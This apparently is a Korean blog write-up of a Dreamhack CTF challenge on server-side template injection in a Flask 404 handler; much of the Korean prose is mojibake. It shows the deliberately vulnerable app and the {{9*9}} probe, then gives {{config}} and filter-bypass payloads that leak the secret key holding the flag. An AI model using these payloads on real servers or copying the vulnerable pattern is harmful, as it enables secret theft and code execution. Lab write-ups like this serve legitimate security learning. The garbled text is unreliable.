๐๏ธ Access
์กด์ฌํ์ง ์๋ ํ์ด์ง ๋ฐฉ๋ฌธ์ 404 ์๋ฌ๋ฅผ ์ถ๋ ฅํ๋ ์๋น์ค์ ๋๋ค.
SSTI ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์์ต๋๋ค.
๐พ Exploit Algorithm & Payload
> app.py
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
app.secret_key = FLAG
@app.route('/')
def index():
return render_template('index.html')
@app.errorhandler(404)
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path)
return render_template_string(template), 404
app.run(host='0.0.0.0', port=8000)
#1
: 1๋ฒ๊ณผ 2๋ฒ ํ์ด์ง ๋ชจ๋ status code 404(์กด์ฌํ์ง ์๋ ํ์ด์ง)์์ด ํ์ธ๋๋ค.
#2
# (์๋ต)
@app.errorhandler(404)
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path)
return render_template_string(template), 404
# (์๋ต)
: Flask Code๋ฅผ ์ดํผ๋ฉด ์น ํ ํ๋ฆฟ ๊ตฌ์กฐ๋ฅผ ํ์ธํ ์ ์๋ค.
- ์น ํ ํ๋ฆฟ์ด๋?
์น ํ ํ๋ฆฟ ์์ง์ ์น ํ ํ๋ฆฟ๊ณผ ์น ์ปจํ ์ธ ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๋ ๋ชฉ์ ์ผ๋ก ์ค๊ณ๋ ์ํํธ์จ์ด
์น ์๋ฒ๋ฅผ ๊ตฌ์ถํ ๋ ์ฝ๋์ ๋ณด์ด๋ {{content}}, {%content%} ์ด๋ฌํ ํ์์ผ๋ก ๋์ด์๋ ๋๋ถ๋ถ์ด ํ ํ๋ฆฟ ์์ง์ ์ฌ์ฉํ๊ธฐ ์ํด ์์ฑ๋ ํ ํ๋ฆฟ ๊ตฌ๋ฌธ
→ SSTI (Server Side Template Injection) ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์ธก์ ๊ธฐ๋ณธ ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ ์ ์ฑ ํ์ด๋ก๋๋ฅผ ์ฝ์ ํ ๋ค์ ์๋ฒ ์ธก์ ์คํ๋๋ฉด์ ์๊ธฐ๋ ์ทจ์ฝ์ . (์น ํ ํ๋ฆฟ ์์ง๋ง๋ค ์ฌ์ฉ๋๋ ํ์ด๋ก๋ ๋ค๋ฅผ ์ ์์)
→ ๋ง์ฝ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ด ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ผ๋ก ์ธ์ํ๊ฒ ํ ์ ์๋ค๋ฉด ํด๋น ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ SSTI ์ทจ์ฝ์ ์ ๋ฐ์์์ผ RCE(Remote Code Execure) ์ทจ์ฝ์ ์ผ๋ก ์ฐ๊ณ๋ ์ ์์
#3
: {{9*9}} ๋ฅผ html์ ์ฝ์ ํ์ฌ ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ผ๋ก ์ธ์ํ๊ฒ ๋ง๋ค๋ฉด 81์ด๋ผ๋ ๊ฒฐ๊ณผ๊ฐ ์ถ๋ ฅ๋๋ ๊ฒ์ ์ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
: ๊ธฐ๋ณธ์ ์ผ๋ก Flask์ ๊ฒฝ์ฐ app.n์ ๋ค์ด๊ฐ๋ ๋๋ถ๋ถ์ ์ ๋ณด๋ค์ด config ํด๋์ค์ ๋ค์ด๊ฐ๊ฒ ๋๋๋ฐ ๋ง์ฝ app.secret_key์ ์ค์ํ ์ ๋ณด๋ฅผ ๋ฃ์์ ๋ {{config}} ํด๋น ํ์ด๋ก๋๋ฅผ ์ฝ์ ํ์ฌ config ์ ๋ณด๋ฅผ ์ถ๋ ฅํ๊ฒ ๋ง๋ค๋ฉด app.secret_key์ ๋ค์ด๊ฐ ์ค์ ์ ๋ณด๋ค์ด ๋์ค๊ฒ ๋๋ค.
: ์ด์ธ์๋ Flask Jinja2์ Templte Injection Bypass๊ฐ ๊ฐ๋ฅํ๋ค.
- config ํํฐ๋ง์ ๊ฒฝ์ฐ-
{{self.__dict__ }}
{{self['__dict__']}}
{{self|attr("__dict__") }}
{{self|attr("con"+"fig")}}
{{self.__getitem__('con'+'fig') }}
{{request.__dict__ }}
{{request['__dict__']}}
{{request.__getitem__('con'+'fig') }}
๐Summary
SSTI์ ๊ฒฝ์ฐ Python ์ธ์ด์์๋ง ๋์๋๋ ๊ฒ์ด ์๋ ํ ํ๋ฆฟ์ ์ฌ์ฉํ๋ ๋ชจ๋ ์ธ์ด์์ ํน์ ๋ฌธ์ ๋ฐ ๋จ์ด๋ฅผ ํํฐ๋งํ์ง ์๊ฒ ๋๋ฉด ์ทจ์ฝ์ ์ด ๋ฐ์๋ ์ ์์
๋ ๋์๊ฐ ์ถ๊ฐ ๊ณต๊ฒฉ RCE ์ทจ์ฝ์ (SQL Injection, ์ญ์ง๋ ฌํ ๊ณต๊ฒฉ, ์์ ์ฝ๋ ์คํ, ...)์ด ์ถ๊ฐ๋ก ๋ฐ์ํ ์ ์์ผ๋ฏ๋ก ์ฃผ์ํด์ผํจ
'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: random-test (2) | 2024.03.04 |
---|---|
[Dreamhack] Level1: [wargame.kr] strcmp (1) | 2024.02.25 |
[Dreamhack] Level2: login-1 (2) | 2024.02.25 |
[Dreamhack] CTF Season 5 Round #4 - BypassIF (1) | 2024.02.25 |
[Dreamhack] Level2: baby-sqlite (0) | 2024.02.23 |